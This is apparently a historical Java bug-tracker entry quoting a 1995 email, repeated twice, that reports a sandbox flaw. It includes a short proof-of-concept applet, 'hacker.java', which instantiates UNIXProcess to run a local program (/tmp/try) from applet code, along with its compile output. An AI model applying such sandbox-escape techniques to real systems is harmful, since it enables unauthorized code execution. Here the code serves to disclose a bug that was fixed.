-
Bug
-
Resolution: Fixed
-
P2
-
1.0
-
1.0beta
-
sparc
-
solaris_2.4
-
Not verified
From pavani@scndprsn Tue Oct 10 10:57:11 1995
From: pavani@scndprsn (Pavani Diwanji)
To: avh@jakarta
Subject: Re: fork and exec and security
> I tried this and I was not able to compile the applet because I
> don't have access to the constructor. How did you compile it?
It was easy:
115_cat hacker.java
import java.awt.*;
import java.applet.*;
import java.io.*;
import java.lang.*;
public
class hacker extends Applet {
public void start() {
String args[] = new String[1];
args[0] = "/tmp/try";
UNIXProcess p = new UNIXProcess(args);
// p = Runtime.getRuntime().exec(args);
}
public String getAppletInfo() {
return "hacker by Pavani";
}
}
116_!javac
javac hacker.java
hacker.java:11: Warning: Exception java.io.IOException must be caught, or it must be declared in throws clause of this method.
UNIXProcess p = new UNIXProcess(args);
^
1 warning
117_which javac
/home/pavani/java/workspaces/newjava/build/bin/javac
118_
From: pavani@scndprsn (Pavani Diwanji)
To: avh@jakarta
Subject: Re: fork and exec and security
> I tried this and I was not able to compile the applet because I
> don't have access to the constructor. How did you compile it?
It was easy:
115_cat hacker.java
import java.awt.*;
import java.applet.*;
import java.io.*;
import java.lang.*;
public
class hacker extends Applet {
public void start() {
String args[] = new String[1];
args[0] = "/tmp/try";
UNIXProcess p = new UNIXProcess(args);
// p = Runtime.getRuntime().exec(args);
}
public String getAppletInfo() {
return "hacker by Pavani";
}
}
116_!javac
javac hacker.java
hacker.java:11: Warning: Exception java.io.IOException must be caught, or it must be declared in throws clause of this method.
UNIXProcess p = new UNIXProcess(args);
^
1 warning
117_which javac
/home/pavani/java/workspaces/newjava/build/bin/javac
118_